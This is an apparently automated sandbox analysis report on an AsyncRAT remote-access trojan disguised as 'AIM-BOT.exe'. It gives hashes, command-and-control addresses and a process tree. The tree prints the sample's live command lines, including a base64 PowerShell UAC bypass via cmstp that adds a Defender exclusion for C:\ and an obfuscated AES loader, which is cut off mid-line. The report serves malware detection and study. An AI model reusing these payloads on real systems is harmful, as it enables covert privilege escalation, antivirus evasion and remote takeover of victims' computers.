asyncrat | 78d7258c03f6f988b20803982bdbea34f7b2a2089f81bd9ed9fcc14daedded48

Analysis

max time kernel
147s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
26-12-2024 20:09

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General

Target

AIM-BOT.exe
Size

9.8MB
MD5

ac85a22feba5e3aa51dec6d867d54081
SHA1

94f8dd4ec1465289935b626bbf12d5fd6755f40a
SHA256

78d7258c03f6f988b20803982bdbea34f7b2a2089f81bd9ed9fcc14daedded48
SHA512

a0c227a996020e15aaee7b58a499711a29ea6f27002d5ebf3ea05a061688755903d191851cf68f159878b2b9ce3854e6c3b04ec6a3a41fd8d7e90fced4bed4a0
SSDEEP

49152:huSvYfx7jJWLuTtutUAesgLH36HcJNI/GjtPw8Ws89cU210W9zY/bsiJhWbzZmUm:8SYjJWLu

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:2101

87.120.113.125:55644

Mutex

E0GLVPl3iUqi

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral4/memory/1324-124-0x0000000006720000-0x0000000006732000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1324	powershell.exe
6	1324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3596	powershell.exe
3076	powershell.exe
676	powershell.exe
4520	powershell.exe
1324	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4120	AsyncRAT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4488	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
3596	powershell.exe
3596	powershell.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
3076	powershell.exe
3076	powershell.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
4120	AsyncRAT.exe
676	powershell.exe
676	powershell.exe
4520	powershell.exe
4520	powershell.exe
1324	powershell.exe
1324	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3076	powershell.exe
Token: SeDebugPrivilege	4488	taskkill.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4120	AsyncRAT.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4120	AsyncRAT.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 2528	4612	AIM-BOT.exe	78
PID 4612 wrote to memory of 2528	4612	AIM-BOT.exe	78
PID 4612 wrote to memory of 2176	4612	AIM-BOT.exe	79
PID 4612 wrote to memory of 2176	4612	AIM-BOT.exe	79
PID 2528 wrote to memory of 4120	2528	cmd.exe	82
PID 2528 wrote to memory of 4120	2528	cmd.exe	82
PID 2176 wrote to memory of 4860	2176	cmd.exe	83
PID 2176 wrote to memory of 4860	2176	cmd.exe	83
PID 4860 wrote to memory of 3596	4860	WScript.exe	84
PID 4860 wrote to memory of 3596	4860	WScript.exe	84
PID 3596 wrote to memory of 3824	3596	powershell.exe	89
PID 3596 wrote to memory of 3824	3596	powershell.exe	89
PID 3824 wrote to memory of 5104	3824	csc.exe	90
PID 3824 wrote to memory of 5104	3824	csc.exe	90
PID 3596 wrote to memory of 1196	3596	powershell.exe	91
PID 3596 wrote to memory of 1196	3596	powershell.exe	91
PID 4860 wrote to memory of 4568	4860	WScript.exe	99
PID 4860 wrote to memory of 4568	4860	WScript.exe	99
PID 4568 wrote to memory of 676	4568	cmd.exe	101
PID 4568 wrote to memory of 676	4568	cmd.exe	101
PID 4568 wrote to memory of 676	4568	cmd.exe	101
PID 676 wrote to memory of 4520	676	powershell.exe	102
PID 676 wrote to memory of 4520	676	powershell.exe	102
PID 676 wrote to memory of 4520	676	powershell.exe	102
PID 676 wrote to memory of 4284	676	powershell.exe	105
PID 676 wrote to memory of 4284	676	powershell.exe	105
PID 676 wrote to memory of 4284	676	powershell.exe	105
PID 4284 wrote to memory of 2296	4284	WScript.exe	106
PID 4284 wrote to memory of 2296	4284	WScript.exe	106
PID 4284 wrote to memory of 2296	4284	WScript.exe	106
PID 2296 wrote to memory of 1324	2296	cmd.exe	108
PID 2296 wrote to memory of 1324	2296	cmd.exe	108
PID 2296 wrote to memory of 1324	2296	cmd.exe	108

C:\Users\Admin\AppData\Local\Temp\AIM-BOT.exe
"C:\Users\Admin\AppData\Local\Temp\AIM-BOT.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start AsyncRAT.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Users\Admin\AppData\Local\Temp\AsyncRAT.exe
    AsyncRAT.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 4698_output.vbs
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4698_output.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3596
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4hb4enix\4hb4enix.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3824
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8656.tmp" "c:\Users\Admin\AppData\Local\Temp\4hb4enix\CSCE6313D9DD49A4FBB9483281BFC55E37.TMP"
        6⤵
        
        PID:5104
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\li2p4pjv.inf
        5⤵
        
        PID:1196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4568
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Rr8+grcZJNGH203eeUxXpnDWX4hdpd2UTJfbowjN1dY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/21C5PLzK2uu1MqJwEaXWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$bbKFI=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$tDIwH=New-Object 